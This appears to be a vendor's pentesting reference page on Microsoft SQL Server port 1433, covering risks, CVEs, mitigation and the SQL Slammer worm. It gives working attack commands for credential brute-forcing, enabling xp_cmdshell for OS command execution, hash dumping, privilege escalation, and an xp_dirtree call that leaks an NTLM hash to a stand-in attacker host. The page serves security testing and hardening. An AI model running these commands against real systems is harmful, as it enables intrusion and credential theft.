Port 1433 – MSSQL (Microsoft SQL Server)

Port 1433 is the default TCP port for Microsoft SQL Server (MSSQL) — the port the sqlservr.exe engine listens on for client connections carrying authentication, T-SQL queries, and result sets over the TDS (Tabular Data Stream) protocol. It is the listener for the default instance; named instances get a dynamically assigned port instead, and the SQL Server Browser service on UDP 1434 answers discovery requests that tell a client which port a named instance is actually on. On a pentest, an exposed port 1433 is one of the highest-value findings you can get: MSSQL isn’t just a data store, it’s a launchpad. Weak credentials get you in, xp_cmdshell turns a database login into OS command execution, and a single xp_dirtree call can coerce the service account into leaking an NTLM hash you can relay across the domain. On a Windows network, compromising MSSQL is frequently a direct route to compromising Active Directory.

Why It’s Open

MSSQL is the database engine behind most Microsoft-stack applications — ASP.NET web apps, Dynamics, SharePoint back ends, SCCM/MECM, countless line-of-business tools, and anything built on the .NET/Windows ecosystem. In a healthy design the engine sits on an internal subnet or the same host as the app tier and only answers to trusted application servers. Port 1433 becomes a finding when it’s bound to all interfaces and reachable from a workstation VLAN, a DMZ, or the public internet — a default in some container images and quick-start guides, a leftover from a migration, or an over-broad cloud security group or on-prem firewall rule. Because MSSQL is a domain-joined Windows service, it is also frequently discoverable through Active Directory itself: SQL Server instances register Service Principal Names (SPNs) like MSSQLSvc/host:1433, so any authenticated domain user can enumerate every SQL Server in the forest with a single LDAP query. Where MSSQL is exposed, other databases often are too — check for Oracle on port 1521, MySQL on 3306, PostgreSQL on 5432, MongoDB on 27017, Redis on 6379, and the MySQL X Protocol on 33060.

Common Risks

• Weak, blank, or default SQL-auth credentials. The classic finding is a sa (system administrator) account with a blank, well-known, or guessable password. In mixed-mode authentication, SQL logins live entirely inside the database and are constantly brute-forced. A sa login — or any account in the sysadmin fixed server role — is total control of the instance and, via xp_cmdshell, of the host.
• xp_cmdshell → OS command execution. Any sysadmin can enable and run the xp_cmdshell extended stored procedure to execute Windows commands as the SQL Server service account. This is a feature, not a bug, and it is the single most common way a database login becomes a shell on the server.
• NetNTLM hash capture and relay. Stored procedures like xp_dirtree, xp_fileexist, and xp_subdirs accept a UNC path. Point one at an attacker-controlled host (\\attacker\share) and the SQL Server service account authenticates to it, leaking a NetNTLMv2 hash you can crack offline or relay with ntlmrelayx to SMB, LDAP, or another SQL Server — often escalating straight into Active Directory. Only a low-privilege public login is needed.
• Linked-server lateral movement. Linked servers let one MSSQL instance query another. EXEC('...') AT [linkedserver] runs T-SQL on the remote box, and links are frequently configured to connect with high privileges — so a foothold on one database can cascade into sysadmin on a chain of others.
• Privilege escalation inside the engine. Misconfigurations like TRUSTWORTHY ON databases owned by a sysadmin, over-granted IMPERSONATE rights (EXECUTE AS LOGIN), and db_owner on a trustworthy database let a low-privilege login climb to sysadmin without any CVE.
• Password-hash extraction. A sysadmin can read the sys.sql_logins hashes and crack them offline, recovering credentials that are often reused elsewhere on the network.
• Exposed to untrusted networks. A database engine on a workstation VLAN, DMZ, or the public internet is subject to constant automated scanning and brute-forcing, and MSSQL’s rich post-auth surface makes any successful login especially costly.

Want to save time on reporting?

Let PentestPad generate, track, and export your reports - automatically.

Book a Demo

Enumeration & Testing

Detect the service and grab the version banner

nmap -sV -p 1433 <target>

Discover named instances via the SQL Server Browser (UDP 1434)

nmap -sU -p 1434 --script ms-sql-info <target>

The Browser service reveals instance names and the dynamic ports named instances listen on — scan those ports too, since only the default instance sits on 1433.

Run the MSSQL NSE scripts

nmap -p 1433 --script ms-sql-info,ms-sql-ntlm-info,ms-sql-empty-password,ms-sql-brute <target> \
  --script-args mssql.instance-port=1433,userdb=users.txt,passdb=passwords.txt

ms-sql-info prints version and instance details, ms-sql-ntlm-info leaks the Windows host/domain/NetBIOS names from the NTLM handshake, ms-sql-empty-password flags accounts with no password, and ms-sql-brute runs a credential guess.

Metasploit — discovery and login

msfconsole -q
# Locate instances (also parses the UDP 1434 Browser)
use auxiliary/scanner/mssql/mssql_ping
set RHOSTS <target>
run

# Credential brute-force (SQL auth)
use auxiliary/scanner/mssql/mssql_login
set RHOSTS <target>
set USER_FILE users.txt
set PASS_FILE passwords.txt
run

Brute-force with Hydra

hydra -L users.txt -P passwords.txt mssql://<target>

Connect with a client

# Impacket (works from Linux, supports Windows auth with -windows-auth)
mssqlclient.py 'DOMAIN/user:password@<target>'
mssqlclient.py -windows-auth 'DOMAIN/user:password@<target>'

# Native tooling
sqlcmd -S <target> -U sa -P '<password>'
sqsh -S <target> -U sa -P '<password>'

SELECT @@version;
SELECT name FROM sys.databases;
SELECT IS_SRVROLEMEMBER('sysadmin');   -- 1 = you are sysadmin
SELECT name, sysadmin FROM syslogins;

OS command execution via xp_cmdshell (sysadmin required)

EXEC sp_configure 'show advanced options', 1; RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;
EXEC xp_cmdshell 'whoami';

Impacket’s mssqlclient.py wraps this with enable_xp_cmdshell and xp_cmdshell <cmd> helpers, and Metasploit automates it with auxiliary/admin/mssql/mssql_exec (set the CMD option).

Coerce a NetNTLM hash (only public needed)

-- Start Responder or ntlmrelayx on the attacker host first, then:
EXEC master..xp_dirtree '\\<attacker-ip>\share';

Metasploit’s auxiliary/admin/mssql/mssql_ntlm_stealer does the same, and the captured NetNTLMv2 hash can be relayed with ntlmrelayx (see SMB relay on port 445) or cracked with hashcat mode 5600.

Dump and crack login hashes

use auxiliary/scanner/mssql/mssql_hashdump   # extracts sys.sql_logins hashes

Crack the extracted hashes offline with hashcat — mode 1731 for SQL Server 2012/2014+, 132 for 2005, 131 for 2000.

Escalate and pivot

use auxiliary/admin/mssql/mssql_enum                 # config, logins, and privileges
use auxiliary/admin/mssql/mssql_escalate_execute_as  # IMPERSONATE / EXECUTE AS abuse
use auxiliary/admin/mssql/mssql_escalate_dbowner     # db_owner on a TRUSTWORTHY db -> sysadmin

From Linux, NetExec/CrackMapExec covers the same ground at scale — nxc mssql <target> -u sa -p '<password>' --local-auth -x whoami runs a command, and nxc mssql <target> -u user -p pass -M mssql_priv checks for privilege-escalation paths and enumerates linked servers.

Log every open port 1433, every instance you discover on UDP 1434, each working credential, and any hash or command output as you go, so the evidence lands in the pentest report instead of a scratch terminal you’ll lose.

What to Look For

Known CVEs and Exploits

Be honest about where MSSQL risk actually lives: the overwhelming majority of real-world MSSQL compromises are configuration and post-authentication tradecraft, not pre-auth network CVEs. The two most damaging primitives on this port — xp_cmdshell for OS command execution and the xp_dirtree/xp_fileexist UNC trick for NetNTLM capture and relay — are documented features, not vulnerabilities, and no patch removes them. That said, genuine network CVEs do exist and are worth checking against the exact build:

• CVE-2002-0649 — The historic one. Multiple buffer overflows in the SQL Server 2000 / MSDE 2000 Resolution Service on UDP 1434 allow remote code execution or denial of service from a single spoofable UDP packet. This is the flaw the SQL Slammer/Sapphire worm weaponised in 2003. Pre-authentication, CVSS 2.0 7.5. Only affects legacy SQL Server 2000-era installs, but it remains the defining MSSQL network bug.
• CVE-2023-23384 — A heap-based buffer overflow (CWE-122) in the SQL Server database engine, exploitable over the network with no authentication and no user interaction for remote code execution. Affects a wide range of builds from SQL Server 2008 through 2022. CVSS 3.1 7.3 — patch to the current cumulative update.
• CVE-2019-1068 — Remote code execution from improper handling of internal functions in SQL Server 2014, 2016, and 2017. Requires an authenticated (low-privilege) login, so it’s a post-auth engine bug rather than a pre-auth one. CVSS 3.0 8.8.
• CVE-2021-1636 — An elevation-of-privilege flaw in the SQL Server engine (SQL injection, CWE-89) affecting SQL Server 2012 through 2019. An authenticated attacker escalates privileges within the instance. CVSS 3.1 8.8.
• CVE-2020-0618 — Scope this one honestly: it is a SQL Server Reporting Services (SSRS) insecure-deserialization RCE (CWE-502), not a bug in the database engine on port 1433. SSRS is a separate web endpoint (typically on 80/443/8080), and this CVE is in CISA’s Known Exploited Vulnerabilities catalog. It’s listed here only because people routinely conflate “SQL Server RCE” with the database port — if you find SSRS, test it as its own web target, not against 1433. CVSS 3.1 8.8.

Exploit-DB carries proof-of-concept and Metasploit-integrated exploits for several of these, but verify the exact ID against the build in front of you rather than firing a version-specific PoC blind. In practice, on a modern, patched SQL Server the productive attack path is almost never a CVE — it’s weak credentials plus the built-in extended stored procedures above.

(This is a new page; it inherited no prior CVE list, so nothing wrong-service needed removing. Every CVE above was confirmed against its NVD record and scoped to the correct product before inclusion.)

Mitigation

• Never expose 1433 (or 1434/UDP) to untrusted networks. Keep the engine on an internal subnet or the app host, firewall the port to known database clients only, and audit cloud security groups and on-prem rules for an accidental 0.0.0.0:1433.
• Prefer Windows/Kerberos authentication over mixed mode. If SQL logins aren’t required, disable mixed-mode auth. Where the sa account exists, disable or rename it and give it a long, unique password; never use sa for application connections.
• Disable xp_cmdshell (it ships off by default) and keep it off, so a compromised sysadmin login can’t trivially reach the OS: EXEC sp_configure 'xp_cmdshell', 0; RECONFIGURE;.
• Run the service as a low-privilege account. Use a dedicated, minimally-privileged (virtual/managed service) account rather than LocalSystem, so command execution and coerced-auth relay have the smallest possible blast radius on the host and in the domain.
• Kill the coercion primitives’ reach. Restrict who can call xp_dirtree/xp_fileexist/xp_subdirs, enforce SMB signing and disable NTLM where possible to blunt relay, and monitor for outbound SMB from the SQL Server to unexpected hosts.
• Least privilege inside the engine. Give each application its own login scoped to the one database it needs, avoid blanket sysadmin, remove unnecessary IMPERSONATE grants, don’t leave databases TRUSTWORTHY ON, and review linked servers so none connect with elevated rights.
• Require encryption. Configure a certificate and set Force Encryption so credentials and query data aren’t sniffable, and so the TDS pre-login handshake doesn’t leak host details in cleartext.
• Patch and monitor. Keep SQL Server on a current cumulative update (2002-0649, 2019-1068, 2021-1636, and 2023-23384 are all fixed), and alert on repeated failed logins, new sysadmin members, and sp_configure changes.

Real-World Example

The SQL Slammer (Sapphire) worm of January 2003 is the definitive MSSQL-on-the-network incident. It exploited the Resolution Service buffer overflow (CVE-2002-0649) on UDP 1434 — the port SQL Server 2000 and the embedded MSDE engine used for instance discovery. The entire worm fit in a single 376-byte UDP packet: no file was written, nothing touched disk, it lived purely in memory and simply blasted copies of itself at random IP addresses as fast as each infected host could send. Because a single spoofable packet was enough and UDP needs no handshake, Slammer doubled its infected population roughly every 8.5 seconds and saturated networks worldwide within about ten minutes — knocking out ATMs, airline check-in systems, and 911 dispatch in places, and taking down large swaths of internet backbone through sheer traffic volume. The bitter detail: Microsoft had shipped a patch six months earlier. Countless internet-facing MSSQL and MSDE instances were simply never updated. It’s the port-1433/1434 lesson in miniature — a database engine reachable from untrusted networks, running unpatched, is a catastrophe waiting for a single packet.

FAQ

What is port 1433 used for?

Port 1433 is the default TCP port for Microsoft SQL Server. Client applications connect to it over the TDS protocol to authenticate and run T-SQL queries against the default database instance. In a secure setup it’s only reachable from application servers on an internal network, never from workstations or the public internet.

What is the difference between port 1433 and port 1434?

Port 1433/TCP is the listener for the default SQL Server instance — the actual database connection. Port 1434/UDP is the SQL Server Browser service, which answers discovery requests and tells clients which (dynamic) port a named instance is listening on. Named instances don’t use 1433; you find their port by querying the Browser on 1434 first. The infamous SQL Slammer worm attacked 1434/UDP, not 1433.

Is port 1433 dangerous to leave open?

When it’s exposed, yes. A SQL Server reachable from an untrusted network is constantly brute-forced, and a weak sa or SQL-auth password gives an attacker the whole instance. From there, xp_cmdshell runs OS commands as the service account and xp_dirtree can coerce an NTLM hash to relay into Active Directory. Port 1433 should be firewalled to trusted database clients and never published to the internet.

How does an attacker get from a SQL login to running commands on the server?

If the login is a member of the sysadmin role, they enable the xp_cmdshell extended stored procedure with sp_configure and then call it to execute Windows commands as the SQL Server service account — no exploit or CVE required. This is why disabling xp_cmdshell, avoiding sysadmin for app logins, and running the service as a low-privilege account all matter so much.

What is the xp_dirtree / NTLM relay attack on MSSQL?

Extended stored procedures such as xp_dirtree, xp_fileexist, and xp_subdirs accept a UNC path. When you point one at an attacker-controlled host, the SQL Server service account authenticates to it and leaks a NetNTLMv2 hash. That hash can be cracked offline or, more dangerously, relayed with a tool like ntlmrelayx to SMB or LDAP on another machine — frequently escalating a low-privilege database login into domain compromise. Only a public-level login is needed to trigger it.

How do I secure or close port 1433?

Bind SQL Server to an internal address, firewall 1433/TCP (and 1434/UDP) to known clients, prefer Windows/Kerberos auth over mixed mode, disable or harden the sa account, keep xp_cmdshell off, run the service as a low-privilege account, grant each app a least-privilege login, remove risky linked servers and TRUSTWORTHY/IMPERSONATE grants, require encryption, and patch to the current cumulative update. If nothing external needs the database, confirm the port isn’t reachable off-host with a rescan.

TL;DR

• Service: Microsoft SQL Server database engine (sqlservr.exe), TDS protocol
• Default port: 1433/TCP (default instance); SQL Server Browser on 1434/UDP; named instances use dynamic ports
• Biggest risk: weak/blank sa or SQL-auth login → xp_cmdshell OS command execution, plus xp_dirtree NetNTLM capture and relay into Active Directory — mostly config and post-auth tradecraft, not CVEs
• Mitigation: keep 1433/1434 off untrusted networks, prefer Windows auth, disable xp_cmdshell, run the service low-privilege, enforce least privilege and SMB signing, require encryption, and patch